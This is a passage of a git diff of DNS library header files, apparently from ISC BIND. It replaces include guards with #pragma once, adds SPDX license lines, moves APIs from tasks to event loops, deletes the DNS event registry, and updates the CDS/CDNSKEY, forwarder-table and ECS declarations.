-		      isc_stdtime_t now, dns_ttl_t hint_ttl, dns_diff_t *diff,
+		      isc_stdtime_t now, dns_kasp_digestlist_t *digests,
+		      bool gencdnskey, dns_ttl_t hint_ttl, dns_diff_t *diff,
 		      isc_mem_t *mctx);
 /*%<
  * Update the CDS and CDNSKEY RRsets, adding and removing keys as needed.
  *
+ * For each key in 'keys', check if corresponding CDS and CDNSKEY records
+ * need to be published. If needed and 'gencdnskey' is true, there will be one
+ * CDNSKEY record added to the 'cdnskey' RRset. Also one CDS record will be
+ * added to the 'cds' RRset for each digest type in 'digests'.
+ *
+ * For each key in 'rmkeys', remove any associated CDS and CDNSKEY records from
+ * the RRsets 'cds' and 'cdnskey'.
+ *
+ * 'hint_ttl' is the TTL to use for the CDS and CDNSKEY RRsets if there is no
+ * existing RRset.
+ *
+ * Any changes made also cause a dns_difftuple to be added to 'diff'.
+ *
+ * Requires:
+ *\li	'keys' is not NULL.
+ *\li	'rmkeys' is not NULL.
+ *\li	'digests' is not NULL.
+ *
  * Returns:
  *\li   ISC_R_SUCCESS
  *\li   Other values indicate error
@@ -368,11 +402,14 @@ isc_result_t
 dns_dnssec_syncdelete(dns_rdataset_t *cds, dns_rdataset_t *cdnskey,
 		      dns_name_t *origin, dns_rdataclass_t zclass,
 		      dns_ttl_t ttl, dns_diff_t *diff, isc_mem_t *mctx,
-		      bool dnssec_insecure);
+		      bool expect_cds_delete, bool expect_cdnskey_delete);
 /*%<
  * Add or remove the CDS DELETE record and the CDNSKEY DELETE record.
- * If 'dnssec_insecure' is true, the DELETE records should be present.
- * Otherwise, the DELETE records must be removed from the RRsets (if present).
+ * If 'expect_cds_delete' is true, the CDS DELETE record should be present.
+ * Otherwise, the CDS DELETE record must be removed from the RRsets (if
+ * present). If 'expect_cdnskey_delete' is true, the CDNSKEY DELETE record
+ * should be present. Otherwise, the CDNSKEY DELETE record must be removed
+ * from the RRsets (if present).
  *
  * Returns:
  *\li   ISC_R_SUCCESS
@@ -392,5 +429,3 @@ dns_dnssec_matchdskey(dns_name_t *name, dns_rdata_t *dsrdata,
  *\li	Other values indicate error
  */
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DNSSEC_H */
diff --git a/lib/dns/include/dns/dnstap.h b/lib/dns/include/dns/dnstap.h
index 14e042c3c6..0d937c4e00 100644
--- a/lib/dns/include/dns/dnstap.h
+++ b/lib/dns/include/dns/dnstap.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef _DNSTAP_H
-#define _DNSTAP_H
+#pragma once
 
 /*****
 ***** Module Info
@@ -116,7 +117,7 @@ struct dns_dtdata {
 
 isc_result_t
 dns_dt_create(isc_mem_t *mctx, dns_dtmode_t mode, const char *path,
-	      struct fstrm_iothr_options **foptp, isc_task_t *reopen_task,
+	      struct fstrm_iothr_options **foptp, isc_loop_t *loop,
 	      dns_dtenv_t **envp);
 /*%<
  * Create and initialize the dnstap environment.
@@ -137,10 +138,10 @@ dns_dt_create(isc_mem_t *mctx, dns_dtmode_t mode, const char *path,
  *	should also be set.  Other options may be set if desired.
  *	If dns_dt_create succeeds the *foptp is set to NULL.
  *
- *\li	'reopen_task' needs to be set to the task in the context of which
+ *\li	'loop' needs to be set to the loop in which
  *	dns_dt_reopen() will be called.  This is not an optional parameter:
- *	using dns_dt_create() (which sets 'reopen_task' to NULL) is only
- *	allowed in unit tests.
+ *	using dns_dt_create() with 'loop' set to NULL is only allowed in
+ *	unit tests.
  *
  * Requires:
  *
@@ -390,5 +391,3 @@ dns_dt_close(dns_dthandle_t **handlep);
  *
  *\li	'*handlep' is not NULL
  */
-
-#endif /* _DNSTAP_H */
diff --git a/lib/dns/include/dns/ds.h b/lib/dns/include/dns/ds.h
index 0674413c3d..629729bc3a 100644
--- a/lib/dns/include/dns/ds.h
+++ b/lib/dns/include/dns/ds.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DS_H
-#define DNS_DS_H 1
+#pragma once
 
 #include <isc/lang.h>
 
@@ -62,5 +63,3 @@ dns_ds_buildrdata(dns_name_t *owner, dns_rdata_t *key,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DS_H */
diff --git a/lib/dns/include/dns/dsdigest.h b/lib/dns/include/dns/dsdigest.h
index 89750dab1a..3b3898b9cc 100644
--- a/lib/dns/include/dns/dsdigest.h
+++ b/lib/dns/include/dns/dsdigest.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DSDIGEST_H
-#define DNS_DSDIGEST_H 1
+#pragma once
 
 /*! \file dns/dsdigest.h */
 
@@ -66,5 +67,3 @@ dns_dsdigest_format(dns_dsdigest_t typ, char *cp, unsigned int size);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DSDIGEST_H */
diff --git a/lib/dns/include/dns/dyndb.h b/lib/dns/include/dns/dyndb.h
index 2b0d1edbc0..82026d154e 100644
--- a/lib/dns/include/dns/dyndb.h
+++ b/lib/dns/include/dns/dyndb.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DYNDB_H
-#define DNS_DYNDB_H
+#pragma once
 
 #include <stdbool.h>
 
@@ -32,15 +33,14 @@ ISC_LANG_BEGINDECLS
  * function should detach from them.
  */
 struct dns_dyndbctx {
-	unsigned int	magic;
-	const void *	hashinit;
-	isc_mem_t *	mctx;
-	isc_log_t *	lctx;
-	dns_view_t *	view;
-	dns_zonemgr_t * zmgr;
-	isc_task_t *	task;
-	isc_timermgr_t *timermgr;
-	bool *		refvar;
+	unsigned int   magic;
+	const void    *hashinit;
+	isc_mem_t     *mctx;
+	isc_log_t     *lctx;
+	dns_view_t    *view;
+	dns_zonemgr_t *zmgr;
+	isc_loopmgr_t *loopmgr;
+	const bool    *refvar; /* unused, but retained for API compatibility */
 };
 
 #define DNS_DYNDBCTX_MAGIC    ISC_MAGIC('D', 'd', 'b', 'c')
@@ -55,7 +55,7 @@ struct dns_dyndbctx {
  * if not, set DNS_DYNDB_AGE to 0.
  */
 #ifndef DNS_DYNDB_VERSION
-#define DNS_DYNDB_VERSION 1
+#define DNS_DYNDB_VERSION 2
 #define DNS_DYNDB_AGE	  0
 #endif /* ifndef DNS_DYNDB_VERSION */
 
@@ -132,8 +132,8 @@ dns_dyndb_cleanup(bool exiting);
 
 isc_result_t
 dns_dyndb_createctx(isc_mem_t *mctx, const void *hashinit, isc_log_t *lctx,
-		    dns_view_t *view, dns_zonemgr_t *zmgr, isc_task_t *task,
-		    isc_timermgr_t *tmgr, dns_dyndbctx_t **dctxp);
+		    dns_view_t *view, dns_zonemgr_t *zmgr,
+		    isc_loopmgr_t *loopmgr, dns_dyndbctx_t **dctxp);
 /*%
  * Create a dyndb initialization context structure, with
  * pointers to structures in the server that the dyndb module will
@@ -156,5 +156,3 @@ dns_dyndb_destroyctx(dns_dyndbctx_t **dctxp);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DYNDB_H */
diff --git a/lib/dns/include/dns/ecs.h b/lib/dns/include/dns/ecs.h
index 40f04ed70b..f9d5e888b9 100644
--- a/lib/dns/include/dns/ecs.h
+++ b/lib/dns/include/dns/ecs.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ECS_H
-#define DNS_ECS_H 1
+#pragma once
 
 #include <inttypes.h>
 
@@ -18,17 +19,32 @@
 #include <isc/netaddr.h>
 #include <isc/types.h>
 
+#include <dns/rdatatype.h>
 #include <dns/types.h>
 
+/*%
+ * Maximum scope values for IPv4 and IPv6.
+ */
+#ifndef ECS_MAX_V4_SCOPE
+#define ECS_MAX_V4_SCOPE 24
+#endif
+
+#ifndef ECS_MAX_V6_SCOPE
+#define ECS_MAX_V6_SCOPE 56
+#endif
+
+/*
+ * Any updates to this structure should also be applied in
+ * contrib/modules/dlz/dlz_minmal.h.
+ */
 struct dns_ecs {
 	isc_netaddr_t addr;
 	uint8_t	      source;
 	uint8_t	      scope;
 };
 
-#define DNS_ECS_FORMATSIZE                                \
-	(ISC_NETADDR_FORMATSIZE + 8) /* <address>/NNN/NNN \
-				      */
+/* <address>/NNN/NNN */
+#define DNS_ECS_FORMATSIZE (ISC_NETADDR_FORMATSIZE + 9)
 
 ISC_LANG_BEGINDECLS
 
@@ -41,8 +57,19 @@ dns_ecs_init(dns_ecs_t *ecs);
  * \li 'ecs' is not NULL and points to a valid dns_ecs structure.
  */
 
+bool
+dns_ecs_equals(const dns_ecs_t *ecs1, const dns_ecs_t *ecs2);
+/*%<
+ * Determine whether two ECS address prefixes are equal (except the
+ * scope prefix-length field).
+ *
+ * 'ecs1->source' must exactly match 'ecs2->source'; the address families
+ * must match; and the first 'ecs1->source' bits of the addresses must
+ * match. Subsequent address bits and the 'scope' values are ignored.
+ */
+
 void
-dns_ecs_format(dns_ecs_t *ecs, char *buf, size_t size);
+dns_ecs_format(const dns_ecs_t *ecs, char *buf, size_t size);
 /*%<
  * Format an ECS record as text. Result is guaranteed to be null-terminated.
  *
@@ -51,7 +78,4 @@ dns_ecs_format(dns_ecs_t *ecs, char *buf, size_t size);
  * \li  'buf' is not NULL.
  * \li  'size' is at least DNS_ECS_FORMATSIZE
  */
-
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_ECS_H */
diff --git a/lib/dns/include/dns/edns.h b/lib/dns/include/dns/edns.h
index 0bae0b5aca..f015ff84b2 100644
--- a/lib/dns/include/dns/edns.h
+++ b/lib/dns/include/dns/edns.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_EDNS_H
-#define DNS_EDNS_H 1
+#pragma once
 
 /*%
  * The maximum version on EDNS supported by this build.
@@ -23,5 +24,3 @@
  */
 #define DNS_EDNS_VERSION 1 /* draft-andrews-edns1 */
 #endif			   /* ifdef DRAFT_ANDREWS_EDNS1 */
-
-#endif /* ifndef DNS_EDNS_H */
diff --git a/lib/dns/include/dns/events.h b/lib/dns/include/dns/events.h
deleted file mode 100644
index 894c4dd211..0000000000
--- a/lib/dns/include/dns/events.h
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_EVENTS_H
-#define DNS_EVENTS_H 1
-
-#include <isc/eventclass.h>
-
-/*! \file dns/events.h
- * \brief
- * Registry of DNS event numbers.
- */
-
-#define DNS_EVENT_FETCHCONTROL	     (ISC_EVENTCLASS_DNS + 0)
-#define DNS_EVENT_FETCHDONE	     (ISC_EVENTCLASS_DNS + 1)
-#define DNS_EVENT_VIEWRESSHUTDOWN    (ISC_EVENTCLASS_DNS + 2)
-#define DNS_EVENT_VIEWADBSHUTDOWN    (ISC_EVENTCLASS_DNS + 3)
-#define DNS_EVENT_UPDATE	     (ISC_EVENTCLASS_DNS + 4)
-#define DNS_EVENT_UPDATEDONE	     (ISC_EVENTCLASS_DNS + 5)
-#define DNS_EVENT_DISPATCH	     (ISC_EVENTCLASS_DNS + 6)
-#define DNS_EVENT_TCPMSG	     (ISC_EVENTCLASS_DNS + 7)
-#define DNS_EVENT_ADBMOREADDRESSES   (ISC_EVENTCLASS_DNS + 8)
-#define DNS_EVENT_ADBNOMOREADDRESSES (ISC_EVENTCLASS_DNS + 9)
-#define DNS_EVENT_ADBCANCELED	     (ISC_EVENTCLASS_DNS + 10)
-#define DNS_EVENT_ADBNAMEDELETED     (ISC_EVENTCLASS_DNS + 11)
-#define DNS_EVENT_ADBSHUTDOWN	     (ISC_EVENTCLASS_DNS + 12)
-#define DNS_EVENT_ADBEXPIRED	     (ISC_EVENTCLASS_DNS + 13)
-#define DNS_EVENT_ADBCONTROL	     (ISC_EVENTCLASS_DNS + 14)
-#define DNS_EVENT_CACHECLEAN	     (ISC_EVENTCLASS_DNS + 15)
-#define DNS_EVENT_BYADDRDONE	     (ISC_EVENTCLASS_DNS + 16)
-#define DNS_EVENT_ZONECONTROL	     (ISC_EVENTCLASS_DNS + 17)
-#define DNS_EVENT_DBDESTROYED	     (ISC_EVENTCLASS_DNS + 18)
-#define DNS_EVENT_VALIDATORDONE	     (ISC_EVENTCLASS_DNS + 19)
-#define DNS_EVENT_REQUESTDONE	     (ISC_EVENTCLASS_DNS + 20)
-#define DNS_EVENT_VALIDATORSTART     (ISC_EVENTCLASS_DNS + 21)
-#define DNS_EVENT_VIEWREQSHUTDOWN    (ISC_EVENTCLASS_DNS + 22)
-#define DNS_EVENT_NOTIFYSENDTOADDR   (ISC_EVENTCLASS_DNS + 23)
-#define DNS_EVENT_ZONE		     (ISC_EVENTCLASS_DNS + 24)
-#define DNS_EVENT_ZONESTARTXFRIN     (ISC_EVENTCLASS_DNS + 25)
-#define DNS_EVENT_MASTERQUANTUM	     (ISC_EVENTCLASS_DNS + 26)
-#define DNS_EVENT_CACHEOVERMEM	     (ISC_EVENTCLASS_DNS + 27)
-#define DNS_EVENT_MASTERNEXTZONE     (ISC_EVENTCLASS_DNS + 28)
-#define DNS_EVENT_IOREADY	     (ISC_EVENTCLASS_DNS + 29)
-#define DNS_EVENT_LOOKUPDONE	     (ISC_EVENTCLASS_DNS + 30)
-#define DNS_EVENT_RBTDEADNODES	     (ISC_EVENTCLASS_DNS + 31)
-#define DNS_EVENT_DISPATCHCONTROL    (ISC_EVENTCLASS_DNS + 32)
-#define DNS_EVENT_REQUESTCONTROL     (ISC_EVENTCLASS_DNS + 33)
-#define DNS_EVENT_DUMPQUANTUM	     (ISC_EVENTCLASS_DNS + 34)
-#define DNS_EVENT_IMPORTRECVDONE     (ISC_EVENTCLASS_DNS + 35)
-#define DNS_EVENT_FREESTORAGE	     (ISC_EVENTCLASS_DNS + 36)
-#define DNS_EVENT_VIEWACACHESHUTDOWN (ISC_EVENTCLASS_DNS + 37)
-#define DNS_EVENT_ACACHECONTROL	     (ISC_EVENTCLASS_DNS + 38)
-#define DNS_EVENT_ACACHECLEAN	     (ISC_EVENTCLASS_DNS + 39)
-#define DNS_EVENT_ACACHEOVERMEM	     (ISC_EVENTCLASS_DNS + 40)
-#define DNS_EVENT_RBTPRUNE	     (ISC_EVENTCLASS_DNS + 41)
-#define DNS_EVENT_MANAGEKEYS	     (ISC_EVENTCLASS_DNS + 42)
-#define DNS_EVENT_CLIENTRESDONE	     (ISC_EVENTCLASS_DNS + 43)
-#define DNS_EVENT_CLIENTREQDONE	     (ISC_EVENTCLASS_DNS + 44)
-#define DNS_EVENT_ADBGROWENTRIES     (ISC_EVENTCLASS_DNS + 45)
-#define DNS_EVENT_ADBGROWNAMES	     (ISC_EVENTCLASS_DNS + 46)
-#define DNS_EVENT_ZONESECURESERIAL   (ISC_EVENTCLASS_DNS + 47)
-#define DNS_EVENT_ZONESECUREDB	     (ISC_EVENTCLASS_DNS + 48)
-#define DNS_EVENT_ZONELOAD	     (ISC_EVENTCLASS_DNS + 49)
-#define DNS_EVENT_KEYDONE	     (ISC_EVENTCLASS_DNS + 50)
-#define DNS_EVENT_SETNSEC3PARAM	     (ISC_EVENTCLASS_DNS + 51)
-#define DNS_EVENT_SETSERIAL	     (ISC_EVENTCLASS_DNS + 52)
-#define DNS_EVENT_CATZUPDATED	     (ISC_EVENTCLASS_DNS + 53)
-#define DNS_EVENT_CATZADDZONE	     (ISC_EVENTCLASS_DNS + 54)
-#define DNS_EVENT_CATZMODZONE	     (ISC_EVENTCLASS_DNS + 55)
-#define DNS_EVENT_CATZDELZONE	     (ISC_EVENTCLASS_DNS + 56)
-#define DNS_EVENT_RPZUPDATED	     (ISC_EVENTCLASS_DNS + 57)
-#define DNS_EVENT_STARTUPDATE	     (ISC_EVENTCLASS_DNS + 58)
-#define DNS_EVENT_TRYSTALE	     (ISC_EVENTCLASS_DNS + 59)
-#define DNS_EVENT_ZONEFLUSH	     (ISC_EVENTCLASS_DNS + 60)
-
-#define DNS_EVENT_FIRSTEVENT (ISC_EVENTCLASS_DNS + 0)
-#define DNS_EVENT_LASTEVENT  (ISC_EVENTCLASS_DNS + 65535)
-
-#endif /* DNS_EVENTS_H */
diff --git a/lib/dns/include/dns/fixedname.h b/lib/dns/include/dns/fixedname.h
index e4f354aacc..97155e77f0 100644
--- a/lib/dns/include/dns/fixedname.h
+++ b/lib/dns/include/dns/fixedname.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_FIXEDNAME_H
-#define DNS_FIXEDNAME_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -79,5 +80,3 @@ dns_name_t *
 dns_fixedname_initname(dns_fixedname_t *fixed);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_FIXEDNAME_H */
diff --git a/lib/dns/include/dns/forward.h b/lib/dns/include/dns/forward.h
index 371c104993..8ce9f6abc7 100644
--- a/lib/dns/include/dns/forward.h
+++ b/lib/dns/include/dns/forward.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,22 +11,28 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_FORWARD_H
-#define DNS_FORWARD_H 1
+#pragma once
 
 /*! \file dns/forward.h */
 
 #include <isc/lang.h>
+#include <isc/mem.h>
+#include <isc/refcount.h>
 #include <isc/result.h>
 #include <isc/sockaddr.h>
 
+#include <dns/fixedname.h>
+#include <dns/qp.h>
 #include <dns/types.h>
 
+/* Define to 1 for detailed reference tracing */
+#undef DNS_FORWARD_TRACE
+
 ISC_LANG_BEGINDECLS
 
 struct dns_forwarder {
 	isc_sockaddr_t addr;
-	isc_dscp_t     dscp;
+	dns_name_t    *tlsname;
 	ISC_LINK(dns_forwarder_t) link;
 };
 
@@ -33,20 +41,21 @@ typedef ISC_LIST(struct dns_forwarder) dns_forwarderlist_t;
 struct dns_forwarders {
 	dns_forwarderlist_t fwdrs;
 	dns_fwdpolicy_t	    fwdpolicy;
+	isc_mem_t	   *mctx;
+	isc_refcount_t	    references;
+	dns_fixedname_t	    fn;
+	dns_name_t	   *name;
 };
 
-isc_result_t
-dns_fwdtable_create(isc_mem_t *mctx, dns_fwdtable_t **fwdtablep);
+void
+dns_fwdtable_create(isc_mem_t *mctx, dns_view_t *view,
+		    dns_fwdtable_t **fwdtablep);
 /*%<
  * Creates a new forwarding table.
  *
  * Requires:
  * \li 	mctx is a valid memory context.
  * \li	fwdtablep != NULL && *fwdtablep == NULL
- *
- * Returns:
- * \li	#ISC_R_SUCCESS
- * \li	#ISC_R_NOMEMORY
  */
 
 isc_result_t
@@ -72,24 +81,9 @@ dns_fwdtable_add(dns_fwdtable_t *fwdtable, const dns_name_t *name,
  * \li	#ISC_R_NOMEMORY
  */
 
-isc_result_t
-dns_fwdtable_delete(dns_fwdtable_t *fwdtable, const dns_name_t *name);
-/*%<
- * Removes an entry for 'name' from the forwarding table.  If an entry
- * that exactly matches 'name' does not exist, ISC_R_NOTFOUND will be returned.
- *
- * Requires:
- * \li	fwdtable is a valid forwarding table.
- * \li	name is a valid name
- *
- * Returns:
- * \li	#ISC_R_SUCCESS
- * \li	#ISC_R_NOTFOUND
- */
-
 isc_result_t
 dns_fwdtable_find(dns_fwdtable_t *fwdtable, const dns_name_t *name,
-		  dns_name_t *foundname, dns_forwarders_t **forwardersp);
+		  dns_forwarders_t **forwardersp);
 /*%<
  * Finds a domain in the forwarding table.  The closest matching parent
  * domain is returned.
@@ -98,11 +92,11 @@ dns_fwdtable_find(dns_fwdtable_t *fwdtable, const dns_name_t *name,
  * \li	fwdtable is a valid forwarding table.
  * \li	name is a valid name
  * \li	forwardersp != NULL && *forwardersp == NULL
- * \li	foundname to be NULL or a valid name with buffer.
  *
  * Returns:
- * \li	#ISC_R_SUCCESS
- * \li	#ISC_R_NOTFOUND
+ * \li	#ISC_R_SUCCESS         Success
+ * \li	#DNS_R_PARTIALMATCH    Superdomain found with data
+ * \li	#ISC_R_NOTFOUND        No match
  */
 
 void
@@ -117,6 +111,17 @@ dns_fwdtable_destroy(dns_fwdtable_t **fwdtablep);
  * \li	all memory associated with the forwarding table is freed.
  */
 
+#if DNS_FORWARD_TRACE
+#define dns_forwarders_ref(ptr) \
+	dns_forwarders__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_forwarders_unref(ptr) \
+	dns_forwarders__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_forwarders_attach(ptr, ptrp) \
+	dns_forwarders__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_forwarders_detach(ptrp) \
+	dns_forwarders__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_forwarders);
+#else
+ISC_REFCOUNT_DECL(dns_forwarders);
+#endif
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_FORWARD_H */
diff --git a/lib/dns/include/dns/geoip.h b/lib/dns/include/dns/geoip.h
index 14af51450a..0d44f6a9d3 100644
--- a/lib/dns/include/dns/geoip.h
+++ b/lib/dns/include/dns/geoip.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_GEOIP_H
-#define DNS_GEOIP_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -79,7 +80,7 @@ typedef enum {
 
 typedef struct dns_geoip_elem {
 	dns_geoip_subtype_t subtype;
-	void *		    db;
+	void		   *db;
 	union {
 		char as_string[256];
 		int  as_int;
@@ -101,12 +102,10 @@ struct dns_geoip_databases {
 ISC_LANG_BEGINDECLS
 
 bool
-dns_geoip_match(const isc_netaddr_t *	     reqaddr,
+dns_geoip_match(const isc_netaddr_t	    *reqaddr,
 		const dns_geoip_databases_t *geoip,
-		const dns_geoip_elem_t *     elt);
+		const dns_geoip_elem_t	    *elt);
 
 ISC_LANG_ENDDECLS
 
 #endif /* HAVE_GEOIP2 */
-
-#endif /* DNS_GEOIP_H */
diff --git a/lib/dns/include/dns/ipkeylist.h b/lib/dns/include/dns/ipkeylist.h
index 2be60c35b6..4087b17381 100644
--- a/lib/dns/include/dns/ipkeylist.h
+++ b/lib/dns/include/dns/ipkeylist.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_IPKEYLIST_H
-#define DNS_IPKEYLIST_H 1
+#pragma once
 
 #include <inttypes.h>
 
@@ -19,15 +20,15 @@
 #include <dns/types.h>
 
 /*%
- * A structure holding a list of addresses, dscps and keys.  Used to
- * store masters for a slave zone, created by parsing config options.
+ * A structure holding a list of addresses and keys.  Used to store
+ * primaries for a secondary zone, created by parsing config options.
  */
 struct dns_ipkeylist {
 	isc_sockaddr_t *addrs;
-	isc_dscp_t *	dscps;
-	dns_name_t **	keys;
-	dns_name_t **	tlss;
-	dns_name_t **	labels;
+	isc_sockaddr_t *sources;
+	dns_name_t    **keys;
+	dns_name_t    **tlss;
+	dns_name_t    **labels;
 	uint32_t	count;
 	uint32_t	allocated;
 };
@@ -85,5 +86,3 @@ dns_ipkeylist_resize(isc_mem_t *mctx, dns_ipkeylist_t *ipkl, unsigned int n);
  * \li	#ISC_R_SUCCESS if success
  * \li	#ISC_R_NOMEMORY if there's no memory, ipkeylist is left untouched
  */
-
-#endif /* ifndef DNS_IPKEYLIST_H */
diff --git a/lib/dns/include/dns/iptable.h b/lib/dns/include/dns/iptable.h
index 818b248773..5ad667b415 100644
--- a/lib/dns/include/dns/iptable.h
+++ b/lib/dns/include/dns/iptable.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_IPTABLE_H
-#define DNS_IPTABLE_H 1
+#pragma once
 
 #include <inttypes.h>
 #include <stdbool.h>
@@ -23,7 +24,7 @@
 
 struct dns_iptable {
 	unsigned int	  magic;
-	isc_mem_t *	  mctx;
+	isc_mem_t	 *mctx;
 	isc_refcount_t	  refcount;
 	isc_radix_tree_t *radix;
 	ISC_LINK(dns_iptable_t) nextincache;
@@ -64,5 +65,3 @@ void
 dns_iptable_detach(dns_iptable_t **tabp);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_IPTABLE_H */
diff --git a/lib/dns/include/dns/journal.h b/lib/dns/include/dns/journal.h
index c2d8697020..05f904ad61 100644
--- a/lib/dns/include/dns/journal.h
+++ b/lib/dns/include/dns/journal.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_JOURNAL_H
-#define DNS_JOURNAL_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -335,5 +336,3 @@ dns_journal_set_sourceserial(dns_journal_t *j, uint32_t sourceserial);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_JOURNAL_H */
diff --git a/lib/dns/include/dns/kasp.h b/lib/dns/include/dns/kasp.h
index d39ad80e79..9a32f586b2 100644
--- a/lib/dns/include/dns/kasp.h
+++ b/lib/dns/include/dns/kasp.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_KASP_H
-#define DNS_KASP_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -33,6 +34,12 @@
 
 ISC_LANG_BEGINDECLS
 
+/* For storing a list of digest types */
+struct dns_kasp_digest {
+	dns_dsdigest_t digest;
+	ISC_LINK(dns_kasp_digest_t) link;
+};
+
 /* Stores a KASP key */
 struct dns_kasp_key {
 	isc_mem_t *mctx;
